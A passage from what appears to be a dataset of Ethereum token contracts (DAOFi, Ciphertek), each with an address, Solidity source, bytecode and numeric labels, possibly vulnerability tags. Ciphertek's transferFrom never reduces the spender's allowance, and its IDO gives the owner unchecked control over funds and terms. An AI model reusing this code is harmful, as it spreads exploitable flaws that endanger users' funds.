cd60e51b8152602060048201526005602482015264072647031360dc1b604482015290519081900360640190fd5b50919050565b600160008051602061417283398151915255565b60008163ffffffff168363ffffffff16106135ab57816135ad565b6040516000906127109082906001600160a01b038616908390869084818181858888f193505050503d80600081146136e1576040519150601f19603f3d011682016040523d82523d6000602084013e6136e6565b606091505b50909695505050505050565b6001600160a01b03811660009081526002602052604090205461ffff161561374a576040805162461bcd60e51b8152602060048083019190915260248201526370616e3160e01b604482015290519081900360640190fd5b60005461c00061ffff90911610613791576040805162461bcd60e51b815260206004808301919091526024820152633830b71960e11b604482015290519081900360640190fd5b6000805461ffff8082166001818101831661ffff199485161785556140009091019182168085526020918252604080862080546001600160a01b0389166001600160a01b031990911681179091558087526002909352808620805490951682179094559251919390917ffe74dea79bde70d1990ddb655bac45735b14f495ddc508cfab80b7729aa9d6689190a35050565b61382a6140e3565b6040518060a00160405280600063ffffffff1681526020018861ffff1681526020018661ffff1681526020018461ffff168152602001836001600160a01b03168152509050606061387a82613d22565b604080516001600160601b031960608b811b8216602084015289901b1660348201528151602881830301815260489091019091529091506138bd60088383613233565b604080516001600160a01b0386168152905161ffff808816928a821692918d16917f2c87b60b0d81063e9b0ba8089ea00f8b35b25ff04a89aa904d257b675d610b999181900360200190a4505050505050505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b1781529251825160009485946060948a16939092909182918083835b602083106139925780518252601f199092019160209182019101613973565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146139f4576040519150601f19603f3d011682016040523d82523d6000602084013e6139f9565b606091505b50915091506000815160001480613a235750818060200190516020811015613a2057600080fd5b50515b9050828015613a2f5750805b979650505050505050565b60006135ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613d96565b6000613a88828561345e565b6001600160501b031981166000908152600960205260409020549091506001600160801b0316613abe818563ffffffff613e2d16565b6001600160501b0319831660009081526009602090815260409182902080546001600160801b0319166001600160801b0394851617905581519287168352905161ffff8816926001600160a01b038716927f3ac065a1e69cd78fa12ba7269660a2894da2ec7f1ff1135ed5ca04de4b4e389e92918290030190a35050505050565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b1781529251825160009485946060948b16939092909182918083835b60208310613bc65780518252601f199092019160209182019101613ba7565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613c28576040519150601f19603f3d011682016040523d82523d6000602084013e613c2d565b606091505b50915091506000815160001480613c575750818060200190516020811015613c5457600080fd5b50515b9050828015613c635750805b98975050505050505050565b602081810151604080840151606094850151825160009581019590955260f09390931b6001600160f01b031916602485015260801b6001600160801b0319166026840152921b6001600160601b03191660368201528151808203602a018152604a90910190915290565b600481016000613ce98484613e6f565b90509250929050565b600281016000613ce98484613ec1565b601081016000613ce98484613f08565b601481016000613ce98484613f4f565b602081810151604080840151606080860151608090960151835160009681019690965260f094851b6001600160f01b0319908116602488015292851b831660268701529590931b16602884015292901b6001600160601b031916602a8201528151808203601e018152603e90910190915290565b60008184841115613e255760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613dea578181015183820152602001613dd2565b50505050905090810190601f168015613e175780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60006135ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613f96565b6000808260040190508084511015613eb6576040805162461bcd60e51b8152602060048201526005602482015264189d1d4c0d60da1b604482015290519081900360640190fd5b929092015192915050565b6000808260020190508084511015613eb6576040805162461bcd60e51b8152602060048201526005602482015264313a3a981960d91b604482015290519081900360640190fd5b6000808260100190508084511015613eb6576040805162461bcd60e51b8152602060048201526005602482015264313a3a989b60d91b604482015290519081900360640190fd5b6000808260140190508084511015613eb6576040805162461bcd60e51b8152602060048201526005602482015264627461313160d81b604482015290519081900360640190fd5b6000836001600160801b0316836001600160801b031611158290613e255760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315613dea578181015183820152602001613dd2565b60408051608081018252600080825260208201819052918101829052606081019190915290565b50805460018160011615610100020316600290046000825580601f106140485750614066565b601f0160209004906000526020600020908101906140669190614111565b50565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106140aa57805160ff19168380011785556140d7565b828001600101855582156140d7579182015b828111156140d75782518255916020019190600101906140bc565b506134bf929150614111565b6040805160a08101825260008082526020820181905291810182905260608101829052608081019190915290565b61104e91905b808211156134bf576000815560010161411756fe5265656e7472616e637947756172643a207265656e7472616e742063616c6c007a6b53796e63436f6d6d6974426c6f636b416464726573732073686f756c64206265207365748e94fed44239eb2314ab7a406345e6c5a8f0ccedf3b600de3d004e672c33abf453616665436173743a2076616c756520646f65736e27742066697420696e203132382062697473a265627a7a72315820dac6892e51b58e8216e0effe98e70807e3486f7f0c3b9b22d303e73ec647d0fa64736f6c63430005100032
[ 12, 0, 7, 11 ]
0xf2c390b466a6a39ee73139f1b85d665f4616e559
pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract DAOFi is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function DAOFi( ) { balances[msg.sender] = 120000000000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 120000000000000000000000; // Update total supply (100000 for example) name = "daofi.finance"; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = "DAOFi"; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6080604052600436106100955763ffffffff60e060020a60003504166306fdde0381146100a7578063095ea7b31461013157806318160ddd1461016957806323b872dd14610190578063313ce567146101ba57806354fd4d50146101e557806370a08231146101fa57806395d89b411461021b578063a9059cbb14610230578063cae9ca5114610254578063dd62ed3e146102bd575b3480156100a157600080fd5b50600080fd5b3480156100b357600080fd5b506100bc6102e4565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f65781810151838201526020016100de565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561013d57600080fd5b50610155600160a060020a0360043516602435610372565b604080519115158252519081900360200190f35b34801561017557600080fd5b5061017e6103d9565b60408051918252519081900360200190f35b34801561019c57600080fd5b50610155600160a060020a03600435811690602435166044356103df565b3480156101c657600080fd5b506101cf6104ca565b6040805160ff9092168252519081900360200190f35b3480156101f157600080fd5b506100bc6104d3565b34801561020657600080fd5b5061017e600160a060020a036004351661052e565b34801561022757600080fd5b506100bc610549565b34801561023c57600080fd5b50610155600160a060020a03600435166024356105a4565b34801561026057600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610155948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061063b9650505050505050565b3480156102c957600080fd5b5061017e600160a060020a03600435811690602435166107d6565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561036a5780601f1061033f5761010080835404028352916020019161036a565b820191906000526020600020905b81548152906001019060200180831161034d57829003601f168201915b505050505081565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60025481565b600160a060020a038316600090815260208190526040812054821180159061042a5750600160a060020a03841660009081526001602090815260408083203384529091529020548211155b80156104365750600082115b156104bf57600160a060020a0380841660008181526020818152604080832080548801905593881680835284832080548890039055600182528483203384528252918490208054879003905583518681529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060016104c3565b5060005b9392505050565b60045460ff1681565b6006805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561036a5780601f1061033f5761010080835404028352916020019161036a565b600160a060020a031660009081526020819052604090205490565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561036a5780601f1061033f5761010080835404028352916020019161036a565b3360009081526020819052604081205482118015906105c35750600082115b15610633573360008181526020818152604080832080548790039055600160a060020a03871680845292819020805487019055805186815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060016103d3565b5060006103d3565b336000818152600160209081526040808320600160a060020a038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a383600160a060020a031660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e019050604051809103902060e060020a9004338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a03168152602001828051906020019080838360005b8381101561077b578181015183820152602001610763565b50505050905090810190601f1680156107a85780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af19250505015156107cc57600080fd5b5060019392505050565b600160a060020a039182166000908152600160209081526040808320939094168252919091522054905600a165627a7a723058201cc4e83ee42bd5065d7bd2e8d7c5eba4d97dc60dd50a8f9ed482839dcedf80a70029
[ 38 ]
0xf2c47c8e77cef9d9dd17940f76c8de3f7b6ba9cd
//SPDX-License-Identifier: MIT pragma solidity ^0.8.4; contract Ownable { mapping (address => uint) public balances; address public contractOwner; event ownershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { contractOwner = msg.sender; } modifier onlyOwner { require(msg.sender == contractOwner, 'Sorry, You do not have that priviliege'); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); balances[newOwner] += balances[contractOwner]; balances[contractOwner] -= balances[contractOwner]; emit ownershipTransferred(contractOwner, newOwner); contractOwner = newOwner; } } contract Ciphertek is Ownable { mapping (address => mapping(address => uint)) public allowance; uint public totalSupply = 63000000 * 10 ** 18; string public name = "Ciphertek Token"; string public symbol = "CITEK"; uint public decimals = 18; uint public tokenPrice = 1; uint idoReceiveamount; address idoReceiver; uint public idoDeadline = block.timestamp +(90 * 1 days); uint public idoMin = 1 * 10 ** 17; uint public idoAmountRaised; event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); event changedName(string indexed previousName, string indexed newName); event changedSymbol(string indexed previousSymbol, string indexed newSymbol); event changedTokenPrice(uint previousPrice, uint newPrice); event changedIdoDeadline(uint oldDate, uint newDate); event changedIdoMin(uint oldValue, uint newValue); constructor () { balances[contractOwner] = totalSupply; } function changeName(string memory newName)onlyOwner public returns(bool) { emit changedName(name, newName); name = newName; return true; } function changeSymbol(string memory newSymbol)onlyOwner public returns(bool) { emit changedSymbol(symbol, newSymbol); symbol = newSymbol; return true; } function changeTokenPrice(uint newPrice)onlyOwner public returns(bool){ emit changedTokenPrice(tokenPrice, newPrice); tokenPrice = newPrice; return true; } function changeIdoDeadline(uint newDate)onlyOwner public returns(bool){ emit changedIdoDeadline(idoDeadline, newDate); idoDeadline = newDate; return true; } function changeIdoMin(uint newValue)onlyOwner public returns(bool){ emit changedIdoMin(idoMin, newValue); idoMin = newValue; return true; } function balanceOf(address _address) public view returns(uint) { return balances[_address]; } function transfer(address to, uint value) public returns(bool) { require(balanceOf(msg.sender)>=value, 'insufficient balance'); balances[to] += value; balances[msg.sender] -= value; emit Transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) public returns(bool){ require(balanceOf(from)>=value, 'insufficient balance'); require(allowance[from][msg.sender] >= value, 'allowance too low'); balances[to] += value; balances[from] -= value; emit Transfer(from, to, value); return true; } function approve (address spender, uint value) public returns (bool) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function idoBuy() public payable { require(block.timestamp<=idoDeadline, 'reverted, IDO has ended'); require(msg.value>=idoMin, 'Amount too small, check website for IDO details'); idoReceiveamount = msg.value*tokenPrice; idoReceiver = msg.sender; balances[idoReceiver] += idoReceiveamount; balances[contractOwner] -= idoReceiveamount; idoAmountRaised += msg.value; emit Transfer(contractOwner, idoReceiver, idoReceiveamount); } receive() external payable { require(block.timestamp<=idoDeadline, 'reverted, IDO has ended'); require(msg.value>=idoMin, 'Amount too small, check website for IDO details'); idoReceiveamount = msg.value*tokenPrice; idoReceiver = msg.sender; balances[idoReceiver] += idoReceiveamount; balances[contractOwner] -= idoReceiveamount; idoAmountRaised += msg.value; emit Transfer(contractOwner, idoReceiver, idoReceiveamount); } function distributeToken(address[] memory addresses, uint _value) onlyOwner public returns(bool){ for (uint i = 0; i < addresses.length; i++) { balances[contractOwner] -= _value; balances[addresses[i]] += _value; emit Transfer(contractOwner, addresses[i], _value); } return true; } function getEther() onlyOwner public returns(bool) { payable(contractOwner).transfer(address(this).balance); return true; } }
0x60806040526004361061014f5760003560e01c806398e086cd116100b6578063d364b0d31161006f578063d364b0d3146107aa578063dd62ed3e146107b4578063de0ff7c5146107f1578063e9d50bf71461081c578063f2fde38b14610847578063fbc94f2414610870576103eb565b806398e086cd14610660578063a3895fff1461069d578063a9059cbb146106da578063a9c7648f14610717578063bf1dad5714610754578063ce606ee01461077f576103eb565b8063313ce56711610108578063313ce5671461052857806342e80b79146105535780635353a2d81461059057806370a08231146105cd5780637ff9b5961461060a57806395d89b4114610635576103eb565b806306fdde03146103f0578063095ea7b31461041b578063155291941461045857806318160ddd1461048357806323b872dd146104ae57806327e235e3146104eb576103eb565b366103eb57600a54421115610199576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610190906122c5565b60405180910390fd5b600b543410156101de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101d590612345565b60405180910390fd5b600754346101ec91906124bd565b60088190555033600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600854600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546102a59190612467565b92505081905550600854600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461031e9190612517565b9250508190555034600c60008282546103379190612467565b92505081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516103e19190612365565b60405180910390a3005b600080fd5b3480156103fc57600080fd5b506104056108ad565b60405161041291906122a3565b60405180910390f35b34801561042757600080fd5b50610442600480360381019061043d9190611f80565b61093b565b60405161044f9190612288565b60405180910390f35b34801561046457600080fd5b5061046d610a2d565b60405161047a9190612365565b60405180910390f35b34801561048f57600080fd5b50610498610a33565b6040516104a59190612365565b60405180910390f35b3480156104ba57600080fd5b506104d560048036038101906104d09190611f31565b610a39565b6040516104e29190612288565b60405180910390f35b3480156104f757600080fd5b50610512600480360381019061050d9190611ecc565b610c5f565b60405161051f9190612365565b60405180910390f35b34801561053457600080fd5b5061053d610c77565b60405161054a9190612365565b60405180910390f35b34801561055f57600080fd5b5061057a60048036038101906105759190612051565b610c7d565b6040516105879190612288565b60405180910390f35b34801561059c57600080fd5b506105b760048036038101906105b29190612010565b610d5a565b6040516105c49190612288565b60405180910390f35b3480156105d957600080fd5b506105f460048036038101906105ef9190611ecc565b610e65565b6040516106019190612365565b60405180910390f35b34801561061657600080fd5b5061061f610ead565b60405161062c9190612365565b60405180910390f35b34801561064157600080fd5b5061064a610eb3565b60405161065791906122a3565b60405180910390f35b34801561066c57600080fd5b5061068760048036038101906106829190612051565b610f41565b6040516106949190612288565b60405180910390f35b3480156106a957600080fd5b506106c460048036038101906106bf9190612010565b61101e565b6040516106d19190612288565b60405180910390f35b3480156106e657600080fd5b5061070160048036038101906106fc9190611f80565b611129565b60405161070e9190612288565b60405180910390f35b34801561072357600080fd5b5061073e60048036038101906107399190611fbc565b61128f565b60405161074b9190612288565b60405180910390f35b34801561076057600080fd5b5061076961151e565b6040516107769190612365565b60405180910390f35b34801561078b57600080fd5b50610794611524565b6040516107a1919061226d565b60405180910390f35b6107b261154a565b005b3480156107c057600080fd5b506107db60048036038101906107d69190611ef5565b6117e1565b6040516107e89190612365565b60405180910390f35b3480156107fd57600080fd5b50610806611806565b6040516108139190612288565b60405180910390f35b34801561082857600080fd5b50610831611908565b60405161083e9190612365565b60405180910390f35b34801561085357600080fd5b5061086e60048036038101906108699190611ecc565b61190e565b005b34801561087c57600080fd5b5061089760048036038101906108929190612051565b611c24565b6040516108a49190612288565b60405180910390f35b600480546108ba906125d5565b80601f01602080910402602001604051908101604052809291908181526020018280546108e6906125d5565b80156109335780601f1061090857610100808354040283529160200191610933565b820191906000526020600020905b81548152906001019060200180831161091657829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a1b9190612365565b60405180910390a36001905092915050565b600b5481565b60035481565b600081610a4585610e65565b1015610a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7d90612325565b60405180910390fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3c906122e5565b60405180910390fd5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b939190612467565b92505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610be89190612517565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c4c9190612365565b60405180910390a3600190509392505050565b60006020528060005260406000206000915090505481565b60065481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0690612305565b60405180910390fd5b7fdd8dcdadfc228957f241184862fdfe3afef44f0776099290a0e08eca0a326b3d600a5483604051610d42929190612380565b60405180910390a181600a8190555060019050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610dec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de390612305565b60405180910390fd5b81604051610dfa919061223f565b60405180910390206004604051610e119190612256565b60405180910390207fe74d74f2128247c5acba6f0fef6673d21cd5e247bf2295ca9d38a4b58471b3ff60405160405180910390a38160049080519060200190610e5b929190611d01565b5060019050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60075481565b60058054610ec0906125d5565b80601f0160208091040260200160405190810160405280929190818152602001828054610eec906125d5565b8015610f395780601f10610f0e57610100808354040283529160200191610f39565b820191906000526020600020905b815481529060010190602001808311610f1c57829003601f168201915b505050505081565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fca90612305565b60405180910390fd5b7fc1aec65d270eaf1f21d9ae40056365aa4a4e0b57653bd344190fce7e7d30ca16600b5483604051611006929190612380565b60405180910390a181600b8190555060019050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a790612305565b60405180910390fd5b816040516110be919061223f565b604051809103902060056040516110d59190612256565b60405180910390207f632fc4736de48fe8467900f238aec284cee4209bf73a52848f57e5b6b11cb5a660405160405180910390a3816005908051906020019061111f929190611d01565b5060019050919050565b60008161113533610e65565b1015611176576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116d90612325565b60405180910390fd5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111c49190612467565b92505081905550816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112199190612517565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161127d9190612365565b60405180910390a36001905092915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611321576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131890612305565b60405180910390fd5b60005b83518110156115135782600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461139d9190612517565b92505081905550826000808684815181106113e1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114329190612467565b92505081905550838181518110611472577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114f89190612365565b60405180910390a3808061150b90612638565b915050611324565b506001905092915050565b600c5481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5442111561158f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611586906122c5565b60405180910390fd5b600b543410156115d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cb90612345565b60405180910390fd5b600754346115e291906124bd565b60088190555033600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600854600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461169b9190612467565b92505081905550600854600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117149190612517565b9250508190555034600c600082825461172d9190612467565b92505081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516117d79190612365565b60405180910390a3565b6002602052816000526040600020602052806000526040600020600091509150505481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611898576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188f90612305565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611900573d6000803e3d6000fd5b506001905090565b600a5481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461199e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199590612305565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119d857600080fd5b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a869190612467565b92505081905550600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b5d9190612517565b925050819055508073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cad90612305565b60405180910390fd5b7f7e9e49759d1c104a80fe10d889b42af05f0a7e5ee2f022d837faeedd33845b3160075483604051611ce9929190612380565b60405180910390a18160078190555060019050919050565b828054611d0d906125d5565b90600052602060002090601f016020900481019282611d2f5760008555611d76565b82601f10611d4857805160ff1916838001178555611d76565b82800160010185558215611d76579182015b82811115611d75578251825591602001919060010190611d5a565b5b509050611d839190611d